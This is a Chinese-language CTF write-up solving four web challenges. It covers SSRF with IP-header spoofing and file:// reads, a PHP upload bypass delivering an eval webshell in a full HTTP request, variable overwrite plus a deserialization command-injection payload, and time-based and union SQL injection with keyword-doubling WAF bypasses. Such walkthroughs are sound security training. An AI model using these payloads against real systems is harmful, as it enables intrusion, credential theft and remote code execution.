- web1
这题考察ssrf。
robots.txt中提示有两个文件:
- source.php
- flag.php
显然一个是源码一个是flag。
这里还考察了一个点,php获取ip的绕过,这里x-client-ip即可绕过。
![@JMXBRS[UGCT}~}FG2`}2T.png-69.6kB
常见的修改http请求头伪造ip的方法有:
- X_FORWARDED_FOR
- Client-IP
- x-client-ip
然后让我们加上url参数请求i春秋的官网:url=https://www.ichunqiu.com
而且每次请求都发现文件名在变,然后返回的东西里面还有;
号,开始以为是考nginx的解析漏洞。后来一想不可能无缘无故给url参数,可能是指定url,然后把读取到的文件写到图片里面。
后来看到sn00py师傅测试url=//www.ichunqiu.com
的时候发现,再去访问图片的响应码就变成200了。
然后想到用file协议去绕url限制:
读flag
- web2
题目源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28<?php
//error_reporting(0);
//$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
//$dir=md5("icq");
//$sandbox = '/var/sandbox/' . $dir;
//@mkdir($sandbox);
//@chdir($sandbox);
if($_FILES['file']['name']){
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename)) {
$filename = explode('.', $filename);
}
$ext = end($filename);
if($ext==$filename[count($filename) - 1]){
die("emmmm...");
}
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hehe'];
if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
include($_);
}
unlink($new_name);
}
else{
highlight_file(__FILE__);
}
上传页,抓包用:
正常解法,先绕end()
和$filename[count($filename) - 1]
的差异,然后end是取最后一个插入的元素,后者是取索引中的最后一个,然后我们上传的时候给file变量传数组就不会进入explode截断,这样就可以绕过:1
2
3if($ext==$filename[count($filename) - 1]){
die("emmmm...");
}
接着后面是给文件名重命令三位随机数,并且hehe参数不能包含这个随机重命名的上传文件。
这里参考
接着可以使用x/../1.php/.
进行文件覆盖1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35POST /file_upload/shanghai/1.php HTTP/1.1
Host: ctf
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------20782431812432
Content-Length: 717
Referer: https://ctf/file_upload/shanghai/upload.html
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------20782431812432
Content-Disposition: form-data; name="file[1]"
jpg
-----------------------------20782431812432
Content-Disposition: form-data; name="file[0]"
x/../1.php/.
-----------------------------20782431812432
Content-Disposition: form-data; name="hehe"
1.php
-----------------------------20782431812432
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream
@<?php $file = '1ndex.php';$code = '<?php eval($_POST[\'passer6y\']);?>';file_put_contents($file,$code);?>
-----------------------------20782431812432
Content-Disposition: form-data; name="submit"
submit
-----------------------------20782431812432--
这样就可以拿到shell了。
sn00py师傅最初的非预期解法,就是因为想到,hehe变量不能包含自己传上去的文件,所以开多个爆破程序,让A程序和B程序相互产生的随机数相互碰撞,直到包含成功。
- web3
题目:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73<?php
error_reporting(E_ALL);
class come{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str){
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function echo($host){
system("echo $host");
}
function __destruct(){
if (in_array($this->method, array("echo"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
}
$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
if($i===1)
{
$i++;
$$key = $value;
}
else{break;}
}
if($first==="doller")
{
@parse_str($_GET['a']); // 注册变量
if($var==="give")
{
if($bbb==="me")
{
if($ccc==="flag")
{
echo "<br>welcome!<br>";
$come=@$_POST['come'];
unserialize($come);
}
}
else
{echo "<br>think about it<br>";}
}
else
{
echo "NO";
}
}
else
{
echo "Can you hack me?<br>";
}
?>
这题先考察变量覆盖,再考察反序列化漏洞。
37行处$i变量覆盖一直想多循环几次多覆盖几个变量,结果发现传入的i=1的类型是字符型,而if判断的是===
。
所以这里就只能先覆盖$first变量进入,parse_str部分,这里可以继续覆盖变量,文档,所以可以构造payload:1
2?first=doller&a%3dvar%3dgive%26bbb%3dme%26ccc%3dflag
// 解码后:?first=doller&a=var=give&bbb=me&ccc=flag
下面就考察反序列化的东西了,构造函数传入参数,析构函数回调echo函数。需要绕过waf函数。
&拼接命令,${IFS}绕过空格,fl””ag绕过flag的限制。
payload:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34<?php
error_reporting(E_ALL);
class come{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v)); // 注册变量,过滤值
}
}
function waf($str){
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function echo($host){
echo "\n";
system("echo $host");
}
function __destruct(){
if (in_array($this->method, array("echo"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
}
$args = array('1&cat${IFS}fl""ag');
$aa = new come("echo",$args);
echo urlencode(serialize($aa));
本地测试:
- web4
一个后台登录页,还有一个注入点。
if sleep # 没被过滤1
1'+and+if((SELECT+VERSION())>1,sleep(3),0)%23
mid 也没被过滤1
1'+and+if(mid((SELECT+VERSION()),1,1)+>1,sleep(3),0)%23
测下面这条语句被拦了1
1'+and+if(mid((SELECT+schema_name+from+information_schema.SCHEMATA+limit+1,1),1,1)+>1,sleep(3),0)%23
下面这个证明拦截了关键字information_schema.
1
1'+and+if(mid((SELECT+schema_name+from+SCHEMATA+limit+1,1),1,1)+<1,sleep(3),0)%23&Submit=Select+Guest
可以用information . tables
绕过,然后提示str_replace为空,所以需要双写,这里需要fuzz一下过滤的东西。然后双写select和from即可绕过1
1'+and+if+((ascii(mid((seselectlect+table_name+frofromm+information_schema+.+tables+limit+1),1,1))>1),sleep(3),0)%23
这里还有一个显注的方法:1
id=sd' unifromon selselectect (seselectlect group_concat(username,':',password)frfromom web.user),2#:
接下来就是一个文件上传
这里得想办法截断txt,或许是nginx解析漏洞?
sn00py师傅教我fuzz,0x00->0xff 然后尝试截断后面的txt,先用脚本生成一下字典1
2
3
4
5for i in range(0,256):
i = bytes(chr(i), 'utf8')
with open("dic.txt", "ab+") as f:
f.write(i)
f.write(bytes('\n', 'utf-8'))